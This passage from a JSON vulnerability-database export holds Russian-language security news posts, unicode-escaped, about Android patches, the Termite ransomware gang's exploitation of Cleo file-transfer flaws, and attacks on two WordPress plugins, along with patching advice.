\u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0445 \u043a EoP.\n\n\u0422\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e Google \u0430\u043d\u043e\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0434\u0432\u0430 \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439: \u0443\u0440\u043e\u0432\u043d\u0438 2025-04-01 \u0438 2025-04-05. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u0442\u0430\u043a\u0436\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f   \u0434\u043b\u044f \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0441 \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0438 \u043f\u043e\u0434\u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u044b \u043a\u043e \u0432\u0441\u0435\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c Android.\n\n\u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 Google Pixel \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u044d\u0442\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430\u043c \u0447\u0430\u0441\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0438\u0445 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.", "creation_timestamp": "2025-04-08T12:30:05.000000Z"}, {"uuid": "7c58bdf0-b695-42cd-89cc-ea1e37f891dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://t.me/true_secator/6541", "content": "\u042d\u043f\u043e\u043f\u0435\u044f \u0441 0-day \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 Cleo VLTrader, Harmony \u0438 LexiCom, \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0435\u0439\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0435\u0441\u0441\u043e\u043c \u0431\u0430\u043d\u0434\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Termite, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435.\n\n\u041f\u0435\u0440\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u041f\u041e \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Huntress \u0435\u0449\u0435 3 \u0434\u0435\u043a\u0430\u0431\u0440\u044f.\n\n\u0417\u0430\u0442\u0435\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b \u0431\u0443\u0440\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043a 8 \u0434\u0435\u043a\u0430\u0431\u0440\u044f, \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0431\u044b\u0441\u0442\u0440\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043e\u0431\u0445\u043e\u0434 CVE-2024-50623 (\u0431\u0435\u0437 CVE-ID), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b bash \u0438\u043b\u0438 PowerShell, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u0430\u043f\u043a\u0438 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 BinaryDefense, Huntress \u0438 Rapid7 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 (Java webshell/RAT/backdoor), \u0441\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Cleo.\n\nHuntress \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0448\u0442\u0430\u043c\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u043a\u0430\u043a Malichus, \u0441\u043e\u043e\u0431\u0449\u0430\u044f \u043e \u0435\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Windows, \u043d\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 Linux.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 watchTowr Labs \u0440\u0435\u0448\u0438\u043b\u0438 \u043f\u043e\u0434\u043b\u0438\u0442\u044c \u043c\u0430\u0441\u043b\u0430 \u0432 \u043e\u0433\u043e\u043d\u044c \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 PoC \u0434\u043b\u044f \u043d\u0443\u043b\u044f (CVE-2024-50623) \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Cleo.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0436\u0435 \u043a \u044d\u0442\u043e\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u0441\u043f\u0435\u043b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u0443\u0442\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 (5.8.0.24).\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u0447\u0438\u0441\u043b\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u044b\u0445 \u0436\u0435\u0440\u0442\u0432 \u043a \u044d\u0442\u043e\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u0436\u0435 \u0432\u043e\u0437\u0440\u043e\u0441\u043b\u043e \u0434\u043e 50, \u0430 \u0447\u0438\u0441\u043b\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Cleo \u0432\u0441\u0435 \u0435\u0449\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442 \u043f\u043e\u0447\u0442\u0438 400 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432, \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0421\u0428\u0410.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435\u043c \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0431\u0430\u043d\u0434\u044b Termite. \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u044b Clop - \u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u0441\u0447\u0438\u0442\u0430\u043d.", "creation_timestamp": "2024-12-13T14:00:07.000000Z"}, {"uuid": "d4e067ab-52e9-44a9-9ab4-be2d979ae505", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50498", "type": "exploited", "source": "https://t.me/true_secator/6534", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0430\u0445 Hunk Companion \u0438 WP Query Console \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0445\u0430\u043a\u0435\u0440\u0430\u043c\u0438 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0430\u0439\u0442\u043e\u0432 WordPress.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c WPScan, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0430\u0445, \u0447\u0442\u043e\u0431\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0430\u043c.\n\nHunk Companion, \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441\u0430\u0439\u0442\u043e\u0432, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c WordPress ThemeHunk, \u0443\u044f\u0437\u0432\u0438\u043c \u043a CVE\u20112024\u20119707, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 9,8 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f RCE, \u0435\u0441\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044e Hunk Companion 1.8.5, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u0443\u044e \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435, \u043e\u0434\u043d\u0430\u043a\u043e, \u043a\u0430\u043a \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 WPScan, \u043e\u043d\u043e \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043d\u0435\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c, \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0447\u0435\u043c \u0432\u0435\u0440\u0441\u0438\u044f 1.8.7 \u0442\u0430\u043a\u0436\u0435 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439.\n\n\u041d\u043e\u0432\u044b\u0439 \u043f\u0430\u0442\u0447 \u0431\u044b\u043b \u0432\u044b\u043f\u0443\u0449\u0435\u043d 10 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 Hunk Companion 1.9.0. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e\u00a0\u0434\u0430\u043d\u043d\u044b\u043c\u00a0WordPress, \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e 90% \u0438\u0437 10 000 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a \u043f\u043b\u0430\u0433\u0438\u043d\u0430, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0430 \u043d\u0435\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0441\u0443\u0442\u043a\u0438 Defiance, \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 56 000 \u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Hunk Companion.\n\nWPScan \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b Hunk Companion \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438 WP Query Console - \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 WordPress, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u043b\u0441\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0441\u0435\u043c\u044c \u043b\u0435\u0442 \u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u043d\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-50498 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS 9,8) \u0438 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u0435\u0444\u0435\u043a\u0442 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 WP Query Console. \u041f\u043b\u0430\u0433\u0438\u043d \u0431\u044b\u043b \u0437\u0430\u043a\u0440\u044b\u0442 21 \u043e\u043a\u0442\u044f\u0431\u0440\u044f, \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u043c \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0435, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u044d\u043a\u0434\u043e\u0440-\u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u043c.\n\n\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 WordPress\u00a0\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e, \u0445\u043e\u0442\u044f \u043f\u043b\u0430\u0433\u0438\u043d \u0431\u044b\u043b \u0437\u0430\u043a\u0440\u044b\u0442 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435, \u0441 \u043a\u043e\u043d\u0446\u0430 \u043d\u043e\u044f\u0431\u0440\u044f \u0435\u0433\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b\u0438 \u0441\u043e\u0442\u043d\u0438 \u0440\u0430\u0437, \u0447\u0442\u043e \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0435\u0433\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Hunk Companion \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 1.9.0 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u0430\u0439\u0442\u044b \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 WP Query Console \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.", "creation_timestamp": "2024-12-12T13:34:48.000000Z"}, {"uuid": "807ce8cc-079b-419c-9ca3-74da0504a718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50623", "type": "exploited", "source": "https://t.me/true_secator/6528", "content": "\u041f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u0430 \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0435 \u043d\u043e\u0432\u044b\u0439 \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u044b\u0439 \u0441 MOVEit \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u0431\u0430\u043d\u0434\u044b \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Termite, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u044b \u043d\u0430 0-day \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Cleo.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Huntress Labs, \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c 3 \u0434\u0435\u043a\u0430\u0431\u0440\u044f \u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0430 \u043a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u0436\u0435 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0434\u0435\u0441\u044f\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \n\nTermite \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443, \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432 \u043a\u043e\u043d\u0446\u0435 \u043e\u043a\u0442\u044f\u0431\u0440\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Cleo: Harmony, LexiCom \u0438 VLTrader.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-50623 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE-\u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u041f\u043e \u043c\u043d\u0435\u043d\u0438\u044e Huntress, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435 